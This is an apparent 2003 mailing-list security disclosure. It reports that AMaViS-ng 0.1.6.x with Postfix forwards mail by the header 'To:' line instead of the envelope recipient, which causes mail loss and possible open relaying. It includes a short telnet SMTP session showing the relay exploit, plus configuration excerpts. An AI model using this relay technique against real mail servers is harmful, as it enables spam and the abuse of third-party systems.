Date: Mon, 7 Apr 2003 14:23:47 +0200
From: Phil Cyc <[email protected]>
To: [email protected]Subject: AMaViS-ng 0.1.6.x and postfix: possible open relay and mail loss
Hi everyone -
with postfix using AMaViS-ng 0.1.6.x (tested: 0.1.6.2 and 0.1.6.3; 0.1.4.=
x is=20
not vulnerable), all email gets forwarded to the address specified by the=
=20
"To:" header line, ignoring the real recipient given via "RCPT TO:".
Possible exploit:
--%snip%--
#> telnet somemx.domain.tld 25
(220 somemx.domain.tld ESMTP Postfix)
helo amavis-ng
(250 somemx.domain.tld)
mail from:[email protected]
(250 ok)
rcpt to:[email protected]
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: [email protected]
To: [email protected]Subject: AMaViS-ng 0.1.6.x bug
=2E
(250 Ok: queued as ...)
quit
(221 Bye)
--%snip%--
Requirements: The mx (somemx.domain.tld) having postfix and AMaViS-ng 0.1=
=2E6.x=20
installed must accept emails for [email protected].
What does it to:
[email protected] is sending an email to [email protected]. The header of =
this=20
email contains "To: [email protected]". AMaViS-ng seems to parse the heade=
r=20
and forwards the email to [email protected]. [email protected] does not get=
=20
this email.
As many postfix users trust their localhost (no restrictions for localhos=
t),=20
it is possible to relay an email or a spam mail this way.
configuration files (relevant parts):
# $postfix/master.cf
smtp inet n - n - - smtpd -o content_filter=3Dfilter:
filter unix - n n - - pipe
flags=3DRq user=3Dmail argv=3D/usr/bin/amavis ${sender} -- ${recipient}
# end of master.cf
# $amavis-ng/amavis.conf
[global]
mail-transfer-agent =3D Postfix
[Postfix]
postfix =3D /usr/sbin/sendmail
args =3D -i -f
# end of amavis.conf
There is no problem with AMaViS =3D=3D 0.1.4.x
Kind regards,
Phil Cyc
